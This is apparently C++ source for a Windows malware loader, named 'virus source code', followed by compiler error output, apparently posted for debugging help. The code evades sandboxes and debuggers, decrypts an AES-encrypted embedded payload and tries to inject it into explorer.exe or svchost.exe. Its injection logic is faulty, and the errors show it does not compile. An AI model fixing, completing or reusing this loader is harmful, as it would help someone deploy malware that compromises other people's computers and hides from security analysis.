#define UNICODE
#define _UNICODE
#include <windows.h>
#include <wincrypt.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <random>
#include <chrono>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "crypt32.lib")
// 反沙箱检测
bool IsSafeEnvironment() {
// 检测调试器
if (IsDebuggerPresent()) return false;
// 检测虚拟机
unsigned int hypervisorBit;
__asm {
mov eax, 1
cpuid
bt ecx, 31
setc hypervisorBit
}
if (hypervisorBit) return false;
// 检测异常内存
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(memInfo);
GlobalMemoryStatusEx(&memInfo);
if (memInfo.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) return false;
return true;
}
// 随机延迟
void RandomDelay() {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(30000, 90000);
Sleep(dis(gen));
}
// AES-256解密
void AESDecrypt(BYTE* data, DWORD size, BYTE* key) {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
HCRYPTHASH hHash;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
CryptHashData(hHash, key, 32, 0);
CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
CryptDecrypt(hKey, 0, TRUE, 0, data, &size);
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
}
// 动态API解析
struct DYNAMIC_APIS {
FARPROC VirtualAlloc;
FARPROC VirtualProtect;
FARPROC CreateThread;
FARPROC LoadLibraryW;
FARPROC GetProcAddress;
DYNAMIC_APIS() {
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
VirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
VirtualProtect = GetProcAddress(hKernel32, "VirtualProtect");
CreateThread = GetProcAddress(hKernel32, "CreateThread");
LoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW");
GetProcAddress = GetProcAddress(hKernel32, "GetProcAddress");
}
};
// 从资源加载加密payload
BYTE* LoadEncryptedPayload(DWORD* pSize) {
HRSRC hRes = FindResourceW(NULL, MAKEINTRESOURCEW(101), L"BIN");
if (!hRes) return nullptr;
*pSize = SizeofResource(NULL, hRes);
HGLOBAL hData = LoadResource(NULL, hRes);
return (BYTE*)LockResource(hData);
}
// 查找合适的目标进程
DWORD FindTargetProcess() {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0 ||
_wcsicmp(pe32.szExeFile, L"svchost.exe") == 0) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
// 进程注入
bool ProcessInjection(DWORD pid, BYTE* payload, DWORD size) {
DYNAMIC_APIS apis;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return false;
LPVOID pRemoteMem = ((LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))apis.VirtualAlloc)(
NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteMem) {
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, pRemoteMem, payload, size, NULL)) {
CloseHandle(hProcess);
return false;
}
DWORD oldProtect;
if (!((BOOL(WINAPI*)(LPVOID, SIZE_T, DWORD, PDWORD))apis.VirtualProtect)(
pRemoteMem, size, PAGE_EXECUTE_READ, &oldProtect)) {
CloseHandle(hProcess);
return false;
}
HANDLE hThread = ((HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE,
LPVOID, DWORD, LPDWORD))apis.CreateThread)(NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMem,
NULL, 0, NULL);
if (!hThread) {
CloseHandle(hProcess);
return false;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// 反分析检查
if (!IsSafeEnvironment()) {
ExitProcess(0);
}
// 随机延迟
RandomDelay();
// 加载加密payload
DWORD payloadSize;
BYTE* encryptedPayload = LoadEncryptedPayload(&payloadSize);
if (!encryptedPayload) return 1;
// 解密payload
BYTE aesKey[32] = { /* 你的32字节AES密钥 */ };
AESDecrypt(encryptedPayload, payloadSize, aesKey);
// 查找目标进程
DWORD targetPid = FindTargetProcess();
if (!targetPid) return 1;
// 进程注入
if (!ProcessInjection(targetPid, encryptedPayload, payloadSize)) {
return 1;
}
return 0;
}代码报错:C:/Users/Administrator/Desktop/病毒原码.cpp 0 -1 In function 'bool IsSafeEnvironment()':
C:/Users/Administrator/Desktop/病毒原码.cpp 19 8 [错误] expected '(' before '{' token
C:/Users/Administrator/Desktop/病毒原码.cpp 20 3 [错误] 'mov' was not declared in this scope
C:/Users/Administrator/Desktop/病毒原码.cpp 0 -1 In constructor 'DYNAMIC_APIS::DYNAMIC_APIS()':
C:/Users/Administrator/Desktop/病毒原码.cpp 71 32 [错误] too many arguments to function
C:/Users/Administrator/Desktop/病毒原码.cpp 71 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]
C:/Users/Administrator/Desktop/病毒原码.cpp 72 34 [错误] too many arguments to function
C:/Users/Administrator/Desktop/病毒原码.cpp 72 34 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]
C:/Users/Administrator/Desktop/病毒原码.cpp 73 32 [错误] too many arguments to function
C:/Users/Administrator/Desktop/病毒原码.cpp 73 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]
C:/Users/Administrator/Desktop/病毒原码.cpp 74 32 [错误] too many arguments to function
C:/Users/Administrator/Desktop/病毒原码.cpp 74 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]
C:/Users/Administrator/Desktop/病毒原码.cpp 75 34 [错误] too many arguments to function
C:/Users/Administrator/Desktop/病毒原码.cpp 75 34 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]